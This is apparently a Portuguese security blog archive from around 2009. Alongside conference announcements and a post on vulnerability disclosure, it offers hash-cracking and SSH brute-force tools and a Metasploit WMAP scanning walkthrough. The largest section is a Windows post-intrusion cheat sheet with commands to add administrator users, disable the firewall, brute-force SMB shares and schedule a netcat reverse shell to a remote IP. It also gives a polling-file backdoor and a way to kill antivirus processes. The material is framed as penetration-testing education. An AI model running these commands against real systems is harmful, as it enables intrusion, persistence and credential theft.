*Retirado com CTRL+C + CRTL+V do blog do Wagner Elias.

“Após a perseverança do Eduardo Neves, e o excelente trabalho do Lucas Ferreira, conseguimos aprovar o Primeiro OWASP AppSec Brazil. A conferência será realizada nos dias 27 a 29 de outubro de 2009 nas dependências da Câmara dos Deputados, em Brasília, DF é agora o primeiro OWASP AppSec Brazil 2009. Isso é uma vitória do Capítulo OWASP Brasil que está tentando trazer o evento para o nosso país desde novembro de 2008 e finalmente conseguiu discutir o assunto com todos os envolvidos e conseguir a aprovação necessária para isso.

A Conferência será promovida pelo OWASP Brasil com o suporte da Comunidade TI-Controle para tratar os diferentes assuntos relacionados a Segurança de Aplicações, tais como:

• Desenvolvimento seguro
• Segurança e arquitetura de software
• Processos de desenvolvimento de sistemas seguros
• Ferramentas para análise de segurança de aplicações
• Bibliotecas e frameworks de segurança para aplicações web
• Auditoria e testes de segurança em aplicações
• Metodologias gerenciais para melhoria da segurança no desenvolvimento de software
• Análise de ataques a aplicações
• Avaliação de riscos de negócio em aplicações web
• Segurança de web services

A Conferência terá dois dias de treinamentos (27 e 28 de outubro) seguidos de dois dias de palestras (29 e 30 de outubro). As chamadas de trabalho serão divulgadas neste fim de semana. A página com as informações relacionadas está disponível na Wiki da OWASP.”

Excelente notícia parabéns a todos os envolvidos!

Desta vez na cidade que estou morando, sem dúvida imperdível, agora é só aguardar a chamada de trabalhos! :)

Enjoy! ;)

A chamada para submissao de apresentacoes do YSTS 3.0 esta aberta!

A terceira edicao ocorrera em Sao Paulo, em 22 de Junho de 2009

INTRODUCAO

O YSTS e’ um evento unico, de alto nivel, com foco na comunidade de seguranca da informacao brasilera, com participacao de palestrantes nacionais e internacionais.

Buscando combinar apresentacoes de alta qualidade, cobrindo os mais diversos topicos relacionados com seguranca da informacao, do nivel mais tecnico ao gerencial.

O objetivo e’ permitir que a audiencia compreenda a abrangencia do mundo da seguranca da informacao, que exige entendimento das particularidades dos varios segmentos deste mercado.

Este e’ um evento apenas para convidados. Assim sendo, submeter uma palestra e’, certamente, um excelente modo de garantir a participacao no evento.

Devido ao sucesso das edicões anteriores, nos mantivemos o mesmo formato:

- – Ambiente confortavel e descontraido
- – O local do YSTS 3.0 sera informado apenas aos convidados
- – Como nas edicoes anteriores, o local secreto sera um bar fechado ou club
- – E sim havera comida e bebida

TOPICOS

Os focos de interesse, para o YSTS 3.0, sao:

* Sistemas Operacionais
* Topicos relacionados com carreira e gestao
* Dispositivos moveis/Sistemas embarcados
* Auditoria e controle
* Web e coisas 2.0
* Politicas para seguranca da informacao 
* Telecomunicacao/Redes/Radio frequencias
* Respostas a incidentes e politicas (uteis) relacionadas
* Guerra cibernetica
* Malware/ BotNets
* Concientizacao de usuarios/Problemas em redes sociais
* Programacao segura
* Espacos e comunidades hacker
* Fuzzing
* Seguranca fisica
* Virtualizacao
* Criptografia/Ofuscacao
* Infraestrutura e sistemas criticos
* CAPTCHAS inviolaveis
* E qualquer outro topico relacionado com seguranca que voce imagine relevante para a conferencia

Nos gostamos de palestras curtas, 30 minutos costuma ser suficiente para passar o recado, se voce achar que necessita de mais tempo, faca essa observacao na sua submissao. 

REGALIAS AOS PALESTRANTES

* Auxilio para despesas de viagem e hospedagem, para palestrantes fora de Sao Paulo, no valor de R$ 700,00 (Setecentos reais).
* Cafe da manha, almoco e jantar, durante a conferencia
* Festa pos-conferencia
* Auditoria de produto em pizzarias/churrascarias tradicionais 

SUBMISSAO

Cada submissao deve incluir as segintes informacoes:

* Nome, titulo, endereco, email e telefone/numero de contato
* resumo biografico e qualificacoes
* Experiencia em apresentacoes
* Sumario e abstrato da sua apresentacao 
* Se ja tiver produzido algum material envie tambem (ppt, pdf, etc.) 
* Requisitos tecnicos (alem do projetor) 
* Outras publicacoes ou conferencia onde este materia foi ou sera publicado/submetido

Nos aceitamos submissoes e apresentacoes em Ingles, Portugues e Espanhol 

DATAS IMPORTANTES 

Data final para submissoes – 10 de Maio de 2009

Notificacao dos autores aceitos – 20 de Maio de 2009

Envio do material para apresentacoes aceitas – 15 Junho 2009

Por favor envie sua submissao para cfp/at/ysts.org 

CONTATO

Informacoes gerais: b0ard/at/ysts.org

Patrocinio: sponsors/at/ysts.org

Estava lendo a lista de e-mails da security focus hoje quando me deparei com uma assinatura muito interessante onde dizia:

“All vulnerabilities deserve a public fear period prior to patches becoming available.”

–Jason Coombs on Bugtraq

Achei a frase bem interessante “filosóficamente” falando, mas queria um pouco mais de contexto e me surpreendi quando encontrei, com um pouco de google hack o e-mail completo de Jason Coombs.

Para quem interessar o “google dork” ficou assim: “Jason Coombs” site:seclists.org intext:”deserve a public”

Abaixo vou colar a parte mais interessante:

“All vulnerabilities deserve a public fear period prior to patches becoming available. The alternative is complacency and increased ignorance due to the removal of the short window of opportunity for every admin and programmer who cares to do so to contribute openly to analysis of the threat. When vulnerabilities are disclosed along with alleged fixes, fewer people bother to mount any type of incident response in spite of the fact that the fixes often fail or introduce new vulnerabilities. Closed source software is especially destructive to security in this respect because it encourages blind acceptance of alleged fixes. Anyone can analyze and discuss the threat openly but the solution we receive from our vendors is closed and its technical design is arbitrary. This makes no sense. There is a world full of smart people who kick and scream in an attempt to gain some level of influence in the technical design of security-sensitive features of closed source products and with few exceptions closed source software vendors systematically ignore our input.“

Pra quem se interessar em ler o ponto de vista completo ou traduzido “daquele jeito” pelo google.

Quando compartilhei com um dos meus amigos de “mente perversa“ fui logo recebendo o seguinte “patch” para a frase:

“All vulnerabilities deserve a 365day period of use before becoming public available.”

–Unknown closer friend

Cada um tem uma opinião sobre este assunto e creio que não existe uma resposta pontual e depende muito da situação, lembrando que um full disclosure “0day” pode gerar uma baita dor de cabeça judicialmente falando.

Convido a quem se interessar em postar sua opnião, full disclosure ou partial disclosure…

Convido também o Sr. Fernando Ike a continuar este meme.

Enjoy! ;)

Literalmente um CTRL+C + CTRL+V no post do brother Sp0oKeR

Os cursos do pessoal da Conviso são altamente recomendados! ;)

Saiu uma pré lista de palestrantes para a segunda edição da uCon que ocorrerá em Recife em fevereiro.

Keynote: Dispelling the myths and discussing the facts of global cyber-warfare 

Jayson Street

Practical (Introduction to) Reverse Engineering

Julio Auto, Independent security researcher

Intro to Windows Kernel Security Development

Stephen Ridley, Matasano

Advanced Payload Strategies: What is new, what works and what is hoax?

Rodrigo Rubira Branco (BSDaemon), CheckPoint / COSEINC

Advanced SQL Injection

Joseph McCray, Rapid7 / LearnSecurityOnline.com

Secure Log Centralization, Analysis & Security Visualization

Gustavo Monteiro, Independent security researcher

GSM For Fun and Profit

David Batanero, Independent researcher

Exploiting PDF Readers

Felipe Andres Manzano, Nimbuzz.com

http://www.ucon-conference.org/speakers.php

A uCon além das palestra, terá alguns treinamentos entre eles dos meus amigos da conviso sobre web security com um preço bem acessível. 

Mais info:

http://www.ucon-conference.org/web-hacking-techniques.php?hl=pt

Espero ter a oportunidade de comparecer… :)

Enjoy! ;)

Desta vez foi a curiosidade que me levou a este brute… seguindo praticamente a mesma linha de todos os outros (no código em si), mas com um pouco de evolução, este brute force para hash de mysql (double SHA1) além de utilizar wordlist para o brute, adicionei uma opcao que transforma qualquer texto em hash no formato mysql… talvez seja inútil, mas vai saber… alguem pode precisar disso eheheh…

MySQL double SHA1 hash wordlist brute forcer (mysqlsha1brute.py.txt) [download]

- This cracker works against hash created by MySQL to store passwords.

Baixando os sources do mysql e descompactando fiz um:

$ grep -ir "password" mysql-5.1.30/*

Que me levou ao arquivo “mysql-5.1.30/sql/password.c“ onde traz exatamente o que é preciso para replicar a função que gera o hash em si, repare que utiliza uma RFC (2289, 3174)  que padroniza o processo, segue abaixo um trecho do código…

/*
MySQL 4.1.1 password hashing: SHA conversion (see RFC 2289, 3174) twice
applied to the password string, and then produced octet sequence is
converted to hex string.
The result of this function is used as return value from PASSWORD() and
is stored in the database.
SYNOPSIS
make_scrambled_password()
buf OUT buffer of size 2*SHA1_HASH_SIZE + 2 to store hex string
password IN NULL-terminated password string
*/

void
make_scrambled_password(char *to, const char *password)
{
SHA1_CONTEXT sha1_context;
uint8 hash_stage2[SHA1_HASH_SIZE];

mysql_sha1_reset(&sha1_context);
/* stage 1: hash password */
mysql_sha1_input(&sha1_context, (uint8 *) password, (uint) strlen(password));
mysql_sha1_result(&sha1_context, (uint8 *) to);
/* stage 2: hash stage1 output */
mysql_sha1_reset(&sha1_context);
mysql_sha1_input(&sha1_context, (uint8 *) to, SHA1_HASH_SIZE);
/* separate buffer is used to pass 'to' in octet2hex */
mysql_sha1_result(&sha1_context, hash_stage2);
/* convert hash_stage2 to hex string */
*to++= PVERSION41_CHAR;
octet2hex(to, (const char*) hash_stage2, SHA1_HASH_SIZE);
}
Opção que adicionei na tool (inútil? eheheh):

$ ./mysqlsha1brute.py -t darkc0de
[*] MySQL double SHA1 hasher (by thebug)
[*] word: darkc0de
[*] hash: *E742BF513935907CB8E6DA91CCB4217BC4702AF6

Como utilizar?

$ ./mysqlsha1brute.py -H *850AD02B26C1626F64E7D28390E103EC7034C573 -w wordlist.txt
[*] MySQL double SHA1 hash brute force (by thebug)
[*] hash: *850AD02B26C1626F64E7D28390E103EC7034C573
[*] 3107 word(s) loaded.
[*] brute force started.
[*] got it!
[*] password is: gandalf

Espero que a tool tenha alguma utilidade para os esquecidos de plantão e simpatizantes…

Enjoy! ;)

Ae! Mais algumas brincadeiras com python… inspirado neste post e em outras situações… ;)

 

PHPass hash brute forcer (phpassbrute.py) [download] 

- PHPass hash brute forcer. This cracker works against any hash created by this framework to encrypt and store hashed passwords. Such projects that use it include WordPress, Drupal, bbPress, phpBB3, and many others.

Special thanks to Alexander Chemeris for having made available the module phpass and inspired me.

Para quem não conhece e quer saber mais sobre o framework utilizado por diversos projetos em PHP para guardar suas senhas neste link mais infos.

Como utilizar? Abaixo um exemplo:

$ ./phpassbrute.py -w wordlist.txt 
[*] phpass hash brute force tool (by thebug)
[*] hash prefix: $P$
[*] paste hash here: $P$B0nVOEAGGTyJJsQhZyLxS3hyzAhgUa1
[*] 3107 word(s) loaded.
[*] brute force started.

[*] got it!
[*] password is: 123456

 É isso ae… enjoy! ;)

obs: Special thanks to Wagner Elias, “The Lowyer”.

Está disponível as palestras do Kaigai Kohei sobre SE PostgreSQL e LAPP/SELinux que foi relizada na linux.conf.au idéia foi lançada por ele próprio há algum tempo na lista e pelo visto está evoluindo muito bem!

Pra quem não tem muita intimidade com acrônimos LAPP é uma alterntiva ao famoso LAMP (Linux, Apache, MySQL, (PHP|Python|Perl)) utilizado por inúmeros sites ao redor do mundo, no caso do LAPP seria (Linux, Apache, PostgreSQL, (PHP|Python|Perl)).

Recomendo fortemente a leitura das duas palestras realizadas, principalmente a sobre LAPP/SELinux, pois promete revolucionar em termos de hardening em ambiente de aplicações web.

Abaixo um gráfico demonstrando o status do projeto e uma idéia do objetivo do projeto.

Enjoy! ;)

Ok, eu sei que isso é praticamente a re-re-re-re-re-RE-re-re-invenção da roda, mas eu não aguentei… em um momento de falta de criatividade ou por necessidade pois o módulo ssh do hydra e nem medusa rodaram no meu note como deveria. E como estou numa fase de mergulho profundo em python resolvi escrever essa ferramenta, fiquem a vontade para usar, modificar, distribuir… etc.. :)

MT SSH Brute Force (mtsshbrute.py) [download]

- Simple multi thread SSH brute force utility written in python using paramiko.

Enjoy!

Há tempos venho enrolando para publicar este post, se trata de um estudo que venho fazendo há tempos sobre comandos necessários ao conseguir uma “shell” no windows, e também comandos pós-intrusão, são algumas anotações que fiz ao longo dos anos portanto não espere nada de super ultra novo.

É comun em um teste de intrusão ter uma “shell” (cmd.exe) de uma máquina windows, sendo através de um ataque “client-side” ou através de execução remota de comandos (MS08-067), ou até mesmo enviando arquivos maliciosos por exemplo, a Microsoft disponibiliza praticamente tudo o que se precisa para sobreviver somente com a linha de comando, porém quando precisa de algo rapidamente é complicado ir até lá e ficar lendo manual dos comandos, outro problema é que nem sempre temos a possibilidade de enviar uma ferramenta para o alvo comprometido e é nessa hora que é preciso saber manipular as ferramentas nativas do Windows, esses são os motivos que me levaram a criar esta “Cheat Sheet de Comandos para Windows”, abaixo vou listar cada comando e comentar cada um deles.

MANIPULANDO USUÁRIOS E GRUPOS

Listar usuários:

C:\> net user

Adicionar usuário:

C:\> net user joao senha123 /add

Listar informações sobre um usuário:

C:\> net user joao

Remover usuário:

C:\> net user joao /del

Listar grupos:

C:\> net localgroup

Adicionar usuário em um grupo:

C:\> net localgroup Administradores joao /add

Adicionar usuário em um grupo:

C:\> net localgroup Administradores joao /del

MANIPULANDO FIREWALL

Listar regras do firwall:

C:\> netsh firewall show config

Desabilitar firewall:

C:\> netsh firewall set opmode disable

Habilitar firewall:

C:\> netsh firewall set opmode enable

Criando regra, abrir portas:

C:\> netsh firewall add portopening TCP 80 NomeDoServico

Fechar portas:

C:\> netsh firewall del portopening TCP 80

COLETANDO INFORMAÇÕES

Informações detalhadas sobre configuração de rede:

C:\> ipconfig /all

Visualizar o cache do DNS:

C:\> ipconfig /displaydns

Com isso é possivel descobrir quais foram os ultimos acesso feitos pela máquina, descobrindo possíveis hosts internos/externos, auxiliado na expansão.

Consultando tabela arp:

C:\> arp -a

Descobrir outros hosts que a máquina se comunicou recentemente, uma maneira passiva de reconhecer a rede interna.

Verificar o nome da maquina:

C:\> hostname 

Serviços ativos e portas que estão “ouvindo”:

C:\> netstat -an

Mostrando o ID do processo responsável pelo serviço:

C:\> netstat -anop tcp

O máximo de detalhe possível sobre cada porta/processo responsável:

C:\> netstat -abnvp [protocolo]

Verificando rotas:

C:\> netstat -nr

C:\> route print

Listar processos e pid’s:

C:\> tasklist

Finalizando/”matando” processos por PID:

C:\> taskkill /pid [id]

Forçando processos a finalizar por nome:

C:\> taskkill /f /im [nome]

Finalizando processos por nome:

C:\> wmic process where name=”telnet.exe”

O wmic tem uma infinidade de opções! 

Terminar processos me lembrou de um post que li há um tempo atraz sobre como matar processos dos AV’s mais conhecidos utilizando um arquivo de word/excel com macro, e a lista que o Blog fornece de nomes de executáveis de AV é excelente, somando com o “For /F” que mostro logo abaixo é possível aniquilar vários AV’s. :)

Listando serviços em funcionamento, seu estado e suas opções:

C:\> sc query

(…)

(…)

SERVICE_NAME, o nome do servico que usamos para enviar um sinal (stop, start, pause)

DISPLAY_NAME, o nome que aparece lá na lista de serviço quando usamos a opção Meu Computador/Gerenciar/Serviços

STATE, o estado atual do serviço (parado, em execuçao, …)

Uma linha abaixo de STATE vemos as opcoes de sinais que podemos enviar ao serviço.

sc é um aplicativo, muito versátil pois além de suas funcionalidade é possível encontrá-lo em qualquer versão do Windows.

MANIPULADO COMPARTILHAMENTO SMB

Estabelecer uma sessao SMB:

C:\> net use \\[IP/nome] [senha] /u:[usuario]

É possível ter somente uma sessão estabelecida por vez, o Windows nao suporta mais de uma conexão via SMB.

Mapear pasta compartilhada no servidor alvo:

C:\> net use * \\[IP/nome]\[compartilhamento] [senha] /u:[usuário]

O asterisco(*) significa que vai mapear o compartilhamento com a primeira letra disponível, no caso do Windows XP ele associa de forma inversa (Z:).

Finalizar sessão/mapeamento:

C:\> net use Z: /del

Destruir TODOS os mapeamentos criados:

C:\> net use * /del /y

UM POUCO SOBRE LOOPS, PROCESSAMENTO CONDICIONAL E OUTROS

O “For” tem diversos “modos” e abaixo (/F), faz iteração somente com números:

C:\for /L %i in ([start],[step],[stop]) do [comando]

Contador de 1 a 255:

C:\> for /L %i in (1,1,255) do echo repetindo %i

É imprescindível saber como fazer loop, principalmente quando precisamos criar scanners de rede/porta sem precisar instalar ferramentas no SO.

Loop infinito:

C:\> for /L %i in (,,) do echo loop infinito

“Echo” do Windows, diferente dos *nix, não é preciso colocar aspas (“)

No windows não existe o comando sleep que encontramos nos *nix, para isso criamos um “workaround”:

C:\> ping -n (segundos-1) 127.0.0.1

Exemplo, esperar 5 segundos:

C:\> ping -n 6 127.0.0.1

Loop “For” mais elaborado

C:\> for /f ["opções"] %i in ([conteúdo]) do [comando]

Sendo que conteúdo pode ser conteúdo de um arquivo, uma “string” ou a saída de um comando, ex:

C:\> for /f ["opções"] %i in (arquivo.txt) do [comando]

C:\> for /f ["opções"] %i in (“string”) do [comando]

C:\> for /f ["opções"] %i in (‘comando’) do [comando]

O “For” tem uma série de opções para ampliar suas funcionaliades, opções para delimitadores, pular iteração caso encontre determinada string e por ae vai, interessante ler o help do comando, para ter uma boa noção do que este comando é capaz.

Usando a força bruta para mapear uma unidade:

for /F %i in (senhas.txt) do @net use * \\192.168.1.106\share %i /u:administrador 2>nul && echo senha: %i && break

Ao montar o compartilhamento, mostra na tela a senha e volta para o prompt.

OPERADORES LÓGICOS E REDIRECIONAMENTO

Os operadores lógicos interpretados pelo cmd.exe são similares ao do *nix, com algumas diferenças como por exemplo o ponto e vírgula (;), no windows:

C:\> dir & echo oi

A interpretação pelo cmd.exe neste caso é exatamente igual do (;) do *nix, execute o primeiro comando e após execute o outro.

Execute o segundo somente se executar com sucesso (AND):

C:\> dir && echo oi

Execute o primeiro depois o segundo (OR):

C:\> oi || dir

O windows também tem buraco negro! :-o

C:\> ping -n 2 ping 127.0.0.1 >nul

Faz com que toda saida do ping va para o além! Qualquer semelhança com “/dev/null” é mera coincidência. ;)

Redirecionar a saída de erros:

C:\> oi 2> nul

Gerar log de erros utilizando (>>) para adicionar ao final do arquivo.

C:\> oi 2>> error.log

GREP no windows?

O “Find” no windows é praticamente igual ao grep do linux, um pouco mais simplório e pode ser usado das seguintes formas:

C:\> find “UP” scan.txt

Procurando “string” dentro de todos os arquivos do diretório atual:

C:\> find /i “senha” *.*

/i para “case insensitive”, não diferencia maiúsculas de minúsculas.

Redirecionamento pipe (|):

C:\> type scan.txt | find “UP”

Além do “Find” o windows tem também o “Findstr”, que esse sim é semelhante ao “egrep” pois utiliza expressões regulares.

Um exemplo simples onde procura pela palavra “senha” tanto maiúscula como minúscula recursivamente nos diretórios/subdiretórios subsequentes, mostrando somente o nome dos arquivos que concidirem com a busca e pulando os arquivos binários.

C:\> findstr /s /i /m /p “senha” *.*

A única maneira que encontrei para fazer busca com mais de uma “string” como por exemplo como egrep do *nix:

# egrep ‘(ulisses|castro)’ *

É preciso primeiro criar um arquivo com uma string por linha:

C:\> copy con strings.txt

ulisses

castro

(Ctrl+z)+[ENTER]

E então executar a busca com a opcão /g:

C:\> findstr /s /i /m /p /g:strings.txt *.*

EDITANDO / CRIANDO ARQUIVOS

Para criar um arquivo:

C:\> copy con [nomedoarquivo]

Para finalizar ediçao Ctrl+Z e [ENTER]

Para adicionar ao final do arquivo algum texto:

C:\> copy [nomedoarquivo] + con

Para finalizar ediçao Ctrl+Z e [ENTER]

TRANSFERINDO/CRIANDO ARQUIVOS

Enviando e criando arquivos no compartlhamento alvo:

C:\> echo testando > \\[IP]\\[compartilhamento]\hello.txt

C:\> type nc.exe > \\[IP]\\[compartilhamento]\nc.exe

O bom e velho tftp baixando arquivos:

C:\> tftp –I [IP] GET nc.exe

Enviando arquivos com tftp:

C:\> tftp -i 192.168.1.107 PUT nc.exe

AGENDAR TAREFAS

Para que as tarefas possam ser agendadas o serviço “schedule” tem que estar em execução: 

C:\> sc query schedule

Iniciando o serviço:

C:\> sc start schedule

Descobrindo a hora do servidor alvo:

C:\> net time \\[IP]

Listando tarefas:

C:\> at

Informações sobre determinada tarefa:

C:\> at [ID]

Agendamento para desativar o firewall as 11:37pm:

C:\> at 11:37pm netsh firewall set opmode disable

Agendando uma conexão reversa:

C:\> at 11:41pm c:\nc.exe -e cmd.exe -n 192.168.1.103 9999

Agendando um download:

C:\> at \\127.0.0.1 2:45pm tftp –I 192.168.1.107 GET nc.exe

Agendando um script:

C:\> at \\127.0.0.1 10:53pm cmd.exe /c c:\script.bat

Repare que para executar qualquer coisa além de .exe , é necessário utilizar (cmd.exe /c).

Agendando um script e redirecionando sua saída para um arquivo:

C:\> at 23:23 c:\script2.bat ^>c:\output.txt

Aqui não preisamos do (cmd.exe /c) a saída será enviada para o arquivo especificado, atenção para o caractere (^).

Agendando tarefas para executar todos os dias (sim, ta tosco mas não consegui nada mais bonito):

C:\> at 00:00 /EVERY:1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31 cmd.exe /c c:\script.bat

Limpando as todas as tarefas:

C:\> at /del /y

ALGUMAS BRINCADEIRAS QUE SE TORNAM POSSÍVEL QUANDO CONHECEMOS OS COMANDOS ACIMA

Varredura clássica “Ping Sweep”:

C:\> for /L %i in (1,1,255) do @ping -n 1 -w 2000 192.168.1.%i >nul && @echo UP: 192.168.1.%i >> scan.txt

O símbolo arroba (@) no serve para “esconder” o comando quando executado.

Consultando DNS:

C:\> nslookup 192.168.1.10

(…)

Nome =   blackbox.localdomain.com.br

(…)

Importante lembrar que isto serve tanto para LAN quanto WAN, bastando o servidor de DNS estar configurado corretamente.

Varredura de DNS reverso:

C:\> for /L %i in (1,1,255) do @nslookup 192.168.1.%i 2>null | find “Nome” && echo 192.168.1.%i

Varredura de porta usando windows FTP:

C:\> for /L %i in (1,1,1024) do echo verificando porta: %i >> ports.txt && echo open 192.168.1.103 %i > ftp.txt & echo quit >> ftp.txt & ftp -s:ftp.txt 2>> ports.txt

Procurando por uma porta aberta de dentro para fora da rede, muito útil quando precisamos de uma conexão reversa:

C:\> for /L %i in (1,1,1024) do echo verificando porta: %i >> ports.txt && echo open [IP externo] %i > ftp.txt & echo quit >> ftp.txt & ftp -s:ftp.txt 2>> ports.txt

BACKDOOR UTILIZANDO FERRAMENTAS NATIVAS

Um dos principais motivos que estudei cada comando e criei diversas situações no prompt do windows, foi com o propósito de criar situações reais de intrusão, onde temos somente o prompt e nada mais e também não podemos instalar ferramentas, no exemplo abaixo é uma forma que encontrei para criar um backdoor:

C:\> for /L %i in (,,,) do (for /F “delims=^” %j in (commands.txt) do cmd.exe /c %j >> output.txt & del commands.txt) & ping -n 2 127.0.0.1

Com este “For” sendo executado em loop infinito, cada comando que enviarmos para o arquivo “commands.txt” (vide: Transferindo/Criando arquivos), será executado no servidor.

Mérito destes últimos para Ed Skoudis da SANS pelo exclente Webinar.

A lista de comandos acima não é completa e nem tampouco uma referência perfeita, sei que muitos dos comandos acima podem ser re-escritos de forma diferente mas estas foram as formas que aprendi e usei(sob demanda), portanto fiquem a vontade para corrigir e acrescentar comandos que não citei e que são importantes em um teste de intrusão.

Também não abordei qual pode ser usado como usuário comum e qual deve ser utilizado pelo admin (sorry).

Não sou um super conhecedor dos registros do windows mas sei me virar, e também sei que da pra fazer coisas NINJA com ele principalmente usando a linha de comando, por favor quem souber postem nos comentarios pois pretendo em breve criar um post parecido como este mas falando somente como manipular os registros via linha de comando.

Espero que a referência acima sirva para outras pessoas assim como serve pra mim.

Enjoy! ;)

Ae! Demoro mais voltei, agora escrevendo um pouco sobre análise de vulnerabilidades em aplicações web, de acordo com o título e sendo eu um chatão que gosta de colocar tudo nos míiiiiiiiiiiiiiinimos detalhes, deveria começar desmembrando o mestaploit e logo o ratproxy, mas UFA! Não vou precisar :)

Wagner, fez uma excelente abordagem de como o ratproxy funciona há um tempo atraz, Luiz Vieira  fez uma abordagem inicial sobre o metasploit, portanto para o bom entendimento deste post recomendo a leitura de ambos ou se você já tem o conhecimento dos dois softwares citados prepare-se pois, HD Moore e seus comparsas deram mais um passo rumo a dominação do mundo.

Vou falar do recente lançado WMAP, a idéia principal é de um “Web Application Scanner” dentro do Metasploit para automação, busca de falhas e a exploração das mesmas, mantendo uma abordagem simples, prática e diferente de outras ferramentas como w3af, acunetix entre outras…

A topologia fica assim:

[CLIENT] ----- [ATTACK PROXY] -----    [TARGET]
                      |                 ^
              [METASPLOIT DB]           |
                      |                 |
           [MSF 3 - WMAP SCANNER]       |
           [MSF 3 - WMAP MODULES]  -----+

Recomendo utilizar sempre a última versão do Metaploit a partir do SVN, para que possa contribuir para o projeto encontrando bugs, corrigindo, ajudando a testar e etc…

- Mas Ulisses eu não sou programador!

E quem disse que precisa ser programador pra arrumar “scripts” em Ruby?! Dúvida? aqui a prova!  ;P

Deixa de lerolero e vamos pra pancada, a primeira pergunta que surge é:

- OK, bacana e na prática?

Baixe o Metasploit, escolha um diretório ninja onde guarda suas ferramentas e:

svn co http://metasploit.com/svn/framework3/trunk/ framework3

Agora o querido ratproxy:

wget http://ratproxy.googlecode.com/files/ratproxy-1.51.tar.gz
tar xvzf http://ratproxy.googlecode.com/files/ratproxy-1.51.tar.gz

É preciso aplicar um patch no ratproxy para que ele possa armazenar seus resultados em um database criado com sqlite3 (sim, sim, para compilar você vai precisar dos arquivos de desenvolvimento do sqlite3). Ah! Logo vão entender o porque do sqlite3…

Copie o patch:

cp /diretórioninjadeferramentas/framework3/external/ratproxy/ratproxy_wmap.diff .

Aplique o patch:

patch -d /diretórioninjadeferramentas/framework3/external/ratproxy < ratproxy_wmap.diff

Bora compilar:

cd ratproxy
make

Beleza tudo pronto, metasploit versao svn instalado, ratproxy com patch aplicado. Antes de ir pra brincadeira, vamos entender o seguinte, você irá utilizar o ratproxy como proxy (:-o) e ele vai guardar os logs em um arquivo no formato sqlite, o metasploit vai ler este arquivo e a partir disso vai lançar os seguintes ataques (os nomes são dedutíveis):

WMAPScanServer, WMAPScanDir, WMAPScanFile
WMAPScanUniqueQuery, WMAPScanQuery, WMAPScanBody
WMAPScanHeaders, WMAPScanGeneric

A descrição detalhada você consegue utilizando o help do metasploit.

Coloque o ratproxy para funcionar da seguinte maneira:

$ ./ratproxy -v /Users/ucastro/.msf3/ -b wmaptest.db -a
ratproxy version 1.51-beta by <lcamtuf@google.com>
[*] Proxy configured successfully. Have fun, and please do not be evil.
[+] Accepting connections on port 8080/tcp (local only)...

Ele ficará ouvindo na port 8080, configure seu browser e navegue um pouco pelo site que quer auditar (eita palavra bunita).

Agora entre no metastploit, e execute os seguinte comandos:

$ ./msfconsole
msf > load db_sqlite3
msf > load db_wmap
[*] =[ WMAP v0.2 - ET LoWNOISE
[*] Successfully loaded plugin: db_wmap

Conecte no banco de dados que “populou” com o ratproxy enquanto navegava.

msf > db_connect /Users/castro/.msf3/wmaptest.db
[*] Successfully connected to the database
[*] File: /Users/castro/.msf3/wmaptest.db

Atualize a lista de acordo com o bd:

msf > wmap_targets -r
[*] Reloading targets...
[*] Added. 192.168.1.1 80 0
[*] Added. 192.168.2.10 80 0
[*] Added. 192.168.5.11 80 0
[*] Added. 192.168.1.3 80 0

Liste o IP dos sites que navegou:

msf > wmap_targets -p
[*]    Id. Host                    Port    SSL
[*]    1. 192.168.1.1               80   
[*]    2. 192.168.2.10             80   
[*]    3. 192.168.5.11              80   
[*]    4. 192.168.1.3               80   
[*] Done.

Selecione o alvo a ser auditado: :)

msf > wmap_targets -s 2   
msf > wmap_targets -p
[*]    Id. Host                    Port    SSL
[*]    1. 192.168.1.1              80   
[*] => 2. 192.168.2.10              80   
[*]    3. 192.168.5.11               80   
[*]    4. 192.168.1.3               80   
[*] Done.

Podemos ver com o comando abaixo a estrutura capturada:

msf > wmap_website
[*] Website structure
[*] 192.168.2.10:80 SSL:0
ROOT_TREE
   +------ index.asp
  |  images
  |  +------ logo.gif
     +------ login.asp
     |       menu
       |       +------ menu.asp
       |       +------ logout.asp
       |       +------ help.asp
[*] Done.

Liste os módulos:

msf > wmap_run -t
[*] Loaded auxiliary/scanner/http/wmap_vhost_scanner ...
[*] Loaded auxiliary/scanner/http/frontpage_login ...
[*] Loaded auxiliary/scanner/http/version ...
...
[*] Loaded auxiliary/scanner/http/wmap_blind_sql_query ...
[*] Analysis completed in 3.1337145306448364 seconds.
[*] Done.

Para definir um novo valor para alguma varíavel de configuração utilize o comando (setg), definindo um único VHOST:

msf > setg VHOST www.targetco.com
VHOST => www.targetco.com

Ou um único domínio:                    

msf > setg DOMAIN targetco.com
DOMAIN => targetco.com
A extensão utilizada pelo site:

msf > setg EXT .asp
EXT => .asp

Para iniciar os testes:

msf > wmap_run -e
[*] Launching auxiliary/scanner/http/wmap_vhost_scanner WMAP_SERVER against 
   www.target.com:80
[*] Sending request with random domain rGvsV.targetco.com 
[*] NOT Found admin.targetco.com
[*] NOT Found services.targetco.com
[*] Vhost found webmail.targetco.com
[*] NOT Found console.targetco.com
[*] NOT Found apps.targetco.com
[*] NOT Found mail.targetco.com
[*] NOT Found intranet.targetco.com
[*] NOT Found intra.targetco.com
[*] NOT Found corporate.targetco.com
[*] Launching auxiliary/scanner/http/frontpage WMAP_SERVER against 
     www.targetco.com:80
[*] http://xxx.xxx.xxx.xxx:80 is running Apache
[*] FrontPage not found on http://192.168.2.10:80 [302 Object Moved]
...
...
[*] Done.

E ainda é possível gerar relatórios! :)

Ë bom ficar de olho pois o WMAP está bem no início, e logo se seguir os passos e o rítmo que o metasploit vem conseguindo, principalmente na área de “bypass” em anti-vírus (assunto pra outro dia!) essa nova “feature” PROMETE! :)

Enjoy! ;)

Referências:

- Ratproxy Docs

- WMAP

- Carnal0wnage

Infelizmente devido a falta do tempo não pude anunciar as palestras que ministrei neste sábado (08/11) no 1o. /dev/net que ocorreu em Goiânia, quero agradecer aos organizadores pelo convite e parabenizar pelo evento, foi ótimo! Obrigado também pra galera que lotou a sala e participou ativamente! :)

Apresentei junto com o Eduardo (Eth0) duas palestras, a primeira “SQL Injection in Depth” é uma versão/evolução das palestras de SQL Injection que venho apresentando mas desta vez bem mais didática, pois re-montamos a palestra separando alguns minutos para explicar no estilo “ao vivo” todos os comandos SQL utilizados para construir um ataque. Não deixamos de apresentar os clássicos videos de “Apresentador Injection” onde utilizamos para fazer analogia com o ataque. A palestra pode ser baixada aqui e também vou providenciar para próxima semana o video da demonstração.

